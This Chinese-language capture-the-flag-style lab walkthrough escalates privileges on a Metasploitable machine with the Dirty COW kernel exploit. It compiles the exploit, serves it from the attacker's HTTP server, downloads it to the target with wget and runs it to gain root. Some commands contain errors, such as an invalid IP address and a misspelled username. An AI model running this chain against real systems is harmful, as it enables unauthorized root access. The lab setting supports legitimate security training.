脏牛靶机
已知
- 靶机账号密码:msfadmin/msfadmin
- 靶机开启ssh服务
开启靶机获取IP
msfadmin/msfadmin登录
ifconfig #获取靶机IP
得到靶机IP:192.168.213.247
开启kali ssh链接靶机
直接输入ssh msfadmin@192.168.213.247
进行链接会出现报错
出现报错的原因是ssh客户端和服务器之间的主机秘钥类型不匹配。主机秘钥是用来验证服务器身份和建立安全链接的。kali中的ssh版本高,默认不支持ssh-rsa和ssh-dss算法(二者被认为是不安全的)。而靶机可能只提供了这两种算法,导致了无法协商的问题。
此时需要指定算法:
ssh -o HostKeyAlgorithms=+ssh-dss mafadmin@192.168.213.247
输入yes确认链接,输入密码,成功链接到靶机。
内核提权
内核提权步骤:
- 对目标系统进行信息收集,获取到系统内核信息及版本信息;
- 根据内核版本获取其对应的漏洞及EXP;
- 使用找到的EXP对目标系统发起攻击,完成提权操作。
信息收集
uname -a #查看系统全部信息
内核版本:linux-2.6.24
id
whoami
msfadmin的普通用户
搜索kali中对应版本的EXP
searchsploit linux kernel 2.6.24
得到EXP列表,一个一个使看是否能漏洞利用。
这里我们使用比较出名的脏牛漏洞Dirty COW来进行提权,可以看到exp为40839.c
将其保存到当前目录下:
searchsploit -m 40839.c
打开.c文件查看注释提示
vim 40839.c
可以得到信息:
- 需要编译且需要一些参数
-pthread
:这个选项告诉 GCC 在编译和链接时使用 POSIX 线程库(pthread)。-lcrypt
:指向libcrypt.so
(共享库)或libcrypt.a
(静态库)的链接指令,这个库提供了一些加密相关的功能。
- 运行编译后的二进制文件。
编译exp 并命名为dirty:
gcc -pthread 40839.c -o dirty -lcrypt
开启http服务,为把编译好的dirty文件上传到靶机做准备:
python -m http.server 8000
重开一个bash查看kali的IP:
kali的IP为192.268.213.131
靶机运行EXP
回到链接目标机的终端进行下载:
wget http://192.268.213.131:8000/dirty
运行EXP:
./dirty
输入新的密码,返回提示显示密码重置成功。
用户名为firefart
切换用户,输入刚刚设置的密码即可获得管理员权限:
su firefart
演示过程有一处不妥:
.c文件是在kali系统编译后上传到靶机中的,可能会出现因为环境不用而导致kali系统中编译的二进制文件无法在靶机中正常运行。所以,更正确做法是将.c文件上传至靶机中,在靶机中编译后运行可以避免因环境导致的问题。